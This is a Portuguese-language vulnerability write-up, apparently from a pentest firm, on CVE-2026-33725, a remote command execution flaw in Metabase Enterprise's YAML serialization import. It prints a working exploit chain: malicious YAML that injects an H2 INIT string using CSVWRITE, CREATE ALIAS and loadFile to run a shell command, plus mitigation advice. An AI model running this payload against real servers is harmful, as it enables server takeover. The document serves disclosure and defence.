CVE-2026-33725: Technical Analysis and Proof of Concept

Escrito por  Guilherme d'Ávila, Diego Tellaroli

Em 24 de março de 2026, foi identificada uma vulnerabilidade de alta criticidade no Metabase Enterprise que leva à execução remota de comandos, descoberta por “Hacktron AI e Rahul Maini”, conforme creditado aqui. A falha foi catalogada sob o identificador “CVE-2026-33725“.

A vulnerabilidade permite que um administrador autenticado na plataforma injete parâmetros arbitrários na URL de conexão JDBC através de uma rota de importação de arquivos YAML. A falha recebeu uma pontuação CVSS v3.1 de 7.2 (High).

Sobre o Metabase

O Metabase é uma plataforma de Business Intelligence (BI) que permite a visualização e consulta de dados provenientes de bancos de dados conectados. Por meio de sua interface gráfica, os usuários podem criar dashboards, executar consultas, visualizar tabelas e colunas.

A plataforma também oferece um sistema de controle de acesso baseado em níveis de privilégio, permitindo que administradores definam quais usuários têm acesso a quais fontes de dados, corroborando para um melhor gerenciamento da organização.

Em sua versão Enterprise, a plataforma oferece funcionalidades adicionais, como o sistema de serialização, que permite exportar e importar configurações completas de uma instância, como bancos de dados conectados, dashboards e coleções.

CVE-2026-33725

O ponto de partida da vulnerabilidade está em como o Metabase Enterprise processa o arquivo YAML enviado à rota /api/ee/serialization/import. Esta funcionalidade permite que administradores importem configurações da instância atual para outras, oferecendo um cenário ideal em casos de migração de servidor.

A rota espera um YAML compactado em “.tar.gz”. Em seu conteúdo, informações de banco de dados são descritas, como nome, descrição, engine e detalhes para a criação de uma nova database. Abaixo um exemplo válido de um YAML:

name: VendasDB
engine: h2
description: Banco de dados de vendas
settings: {}
serdes/meta:
- id: VendasDB
  model: Database
details:
  db: file:/tmp/vendas
  subname: /tmp/vendas

Como ilustrado acima, um novo banco de dados chamado “VendasDB” será criado no Metabase utilizando a engine H2 para conexão. Ao enviar o arquivo YAML compactado à rota, pode-se receber a seguinte resposta: “Loading Database VendasDB”.

Entretanto, o problema reside no fato de que o parâmetro subname, repassado no YAML, não é sanitizado antes de ser concatenado na string JDBC. Isso permite que um atacante injete valores e abuse de funcionalidades do H2. Porém, quais valores são esses?

H2 INIT Injection: Turning a Database Config into RCE

De acordo com o report da vulnerabilidade, é possível realizar a exploração após a sincronização do banco ao injetar o parâmetro INIT na string de conexão JDBC. Para termos uma melhor noção do que o parâmetro faz, podemos consultá-lo em sua documentação.

“Sometimes, particularly for in-memory databases, it is useful to be able to execute DDL or DML commands automatically when a client connects to a database. This functionality is enabled via the INIT property. Note that multiple commands may be passed to INIT, but the semicolon delimiter must be escaped, as in the example below.”

String url = "jdbc:h2:mem:test;INIT=runscript from '~/create.sql'\\;runscript from '~/init.sql'";

O H2 executa SQL arbitrário no momento em que a conexão é estabelecida. É através desse comportamento que conseguimos escrever um payload em Clojure no disco que, em uma segunda etapa, é carregado e executado pelo runtime do Metabase.

“RCE: A two-step attack first writes a Clojure payload then executes it, achieving OS command execution.”

A função utilizada para a escrita do arquivo foi a CSVWRITE: uma funcionalidade nativa do H2 que exporta o resultado de uma query para um arquivo CSV. Como demonstração, foi escrito um arquivo no caminho /tmp/poc.txt com o conteúdo “hakai” no disco.

name: VendasDB
engine: h2
description: Banco de dados de vendas
settings: {}
serdes/meta:
  - id: VendasDB
    model: Database
details:
  db: file:/tmp/vendas
  subname: |-
    /tmp/vendas;INIT=CALL CSVWRITE('/tmp/poc.txt', 'SELECT ''hakai'' AS result', 'writeColumnHeader=false fieldDelimiter=')

Enviado o YAML à rota de importação, um novo banco de dados chamado “VendasDB” será criado na plataforma. Entretanto, para que a escrita do arquivo seja bem sucedida, precisamos forçar uma conexão no banco para que a concatenação que inserimos funcione. Para isso, basta clicar no botão de sincronização do banco disponível no painel de administrador.

Feito isso, o Metabase é forcado a estabelecer a conexão JDBC com o banco, e é nesse momento que o INIT é executado, escrevendo o arquivo /tmp/poc.txt no disco. O arquivo apareceu após a sincronização, confirmando a concatenação que inserimos.

Conforme ilustrado acima, a query SELECT ''hakai'' AS RESULT foi executada e seu retorno salvo no arquivo. Os parâmetros writeColumnHeader e fieldDelimiter no YAML são utilizados para remover o cabeçalho da coluna do output e esvaziar o delimitador padrão, respectivamente. Sem esses dois parâmetros, o resultado seria este:

de15cb1483ab:/tmp# cat poc.txt 
"RESULT"
"hakai"
de15cb1483ab:/tmp# 

Alcançada a escrita de arquivos no disco, o próximo passo é escrever um payload que permita executar comandos no sistema. Na documentação da linguagem de programação “Clojure”, uma das linguagens utilizadas no Metabase, o namespace clojure.java.shell possibilita esta operação.

Entretanto, há algumas peculiaridades no payload que precisam ser levadas em consideração dado o cenário de necessidade de escape de aspas. A função ficará no YAML como:

CSVWRITE('/tmp/.poc_1777787745.clj', 'SELECT ''(require (quote clojure.java.shell))(clojure.java.shell/sh (str \/ \b \i \n \/ \s \h) (str \- \c) (str \w \h \o \a \m \i \space \> \space \/ \t \m \p \/ \w \h \o \a \m \i \. \t \x \t))'' AS c', 'writeColumnHeader=false fieldDelimiter=')

Conforme observado, o payload enviado à função “CSVWRITE” está repleto de barras, contrabarras e subfunções em seu corpo. Destrinchando-a, pode-se notar a seguinte propriedade:

  • Função “str”: concatena todos os caracteres delimitados por um contrabarra (\) em uma só string e a envolve em aspas duplas. Como por exemplo, o trecho (str \/ \b \i \n \/ \s \h) terá seus caracteres (que estão demarcados pela contrabarra) reunidos em uma só string e serão envoltas em aspas duplas, finalizando como "/bin/sh".

Seguindo este padrão para o resto do payload, o código Clojure final executado será como:

(require (quote clojure.java.shell))
(clojure.java.shell/sh "/bin/sh" "-c" "whoami > /tmp/whoami.txt")

Realizada a escrita do arquivo, o próximo passo é carregá-lo e executá-lo em tempo de execução. Para isso, utilizou-se o método loadFile da classe clojure.lang.Compiler passando como argumento o caminho do arquivo gerado na etapa anterior, /tmp/.poc_1777787745.clj. Porém, para que seja acessado métodos Java diretamente no SQL, é preciso chamar a função CREATE ALIAS do H2.

“Creates a new function alias. If this is a ResultSet returning function, by default the return value is cached in a local temporary file.”

CREATE ALIAS MY_SQRT FOR 'java.lang.Math.sqrt';

Portanto, o código ficaria como: CREATE ALIAS IF NOT EXISTS LOADCLJ FOR "clojure.lang.Compiler.loadFile". Para invocar o alias recém-criado, basta chamar a função CALL do H2, descrito na própria documentação da função, finalizando-o como: CALL LOADCLJ('/tmp/.poc_1777787745.clj').

Como consequência, o arquivo que contém o payload em Clojure será carregado e seu conteúdo executado, viabilizando a execução remota de comandos. Após o término desta três etapas, o YAML malicioso terminará desta maneira:

name: BancoVendas
engine: h2
description: Banco de Vendas Comercio
settings: {}
serdes/meta:
  - id: BancoVendas
    model: Database
details:
  db: file:/tmp/vendas
  subname: |-
    /tmp/vendas;INIT=CALL CSVWRITE('/tmp/.poc_1777787745.clj', 'SELECT ''(require (quote clojure.java.shell))(clojure.java.shell/sh (str \\/ \\b \\i \\n \\/ \\s \\h) (str \\- \\c) (str \\w \\h \\o \\a \\m \\i \\space \\> \\space \\/ \\t \\m \\p \\/ \\w \\h \\o \\a \\m \\i \\. \\t \\x \\t))'' AS c', 'writeColumnHeader=false fieldDelimiter=')\;CREATE ALIAS IF NOT EXISTS LOADCLJ FOR "clojure.lang.Compiler.loadFile"\;CALL LOADCLJ('/tmp/.poc_1777787745.clj')

Enviado o YAML que contém o payload do RCE à rota de importação, podemos sincronizar a conexão com o banco de dados para forçar a conexão e, consequentemente, executar o código concatenado no JDBC. Realizada a sincronização, podemos perceber que o comando whoami foi escrito com sucesso no /tmp/whoami.txt.

Com isso, confirmamos a execução remota de comandos no servidor. Com base nessa exploração, a equipe de Pentest da Hakai desenvolveu e publicou uma PoC no GitHub, demonstrando como um invasor pode abusar desta fragilidade para a obtenção de uma reverse shell no servidor.

PoC CVE-2026-33725

Fluxograma

Mitigação

O Metabase já disponibilizou uma mitigação divulgada publicamente, bastando atualizar a aplicação para a última versão disponível. Caso a atualização imediata não seja viável, recomenda-se a desativação da rota vulnerável /api/ee/serialization/import como medida paliativa, eliminando o vetor de exploração até que a atualização seja aplicada.

Vamos praticar!

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio DataFlow simula um servidor com a vulnerabilidade mencionada nesta postagem e pode ser utilizado para reforçar o conhecimento apresentado.

Referências

Logo da Hakai.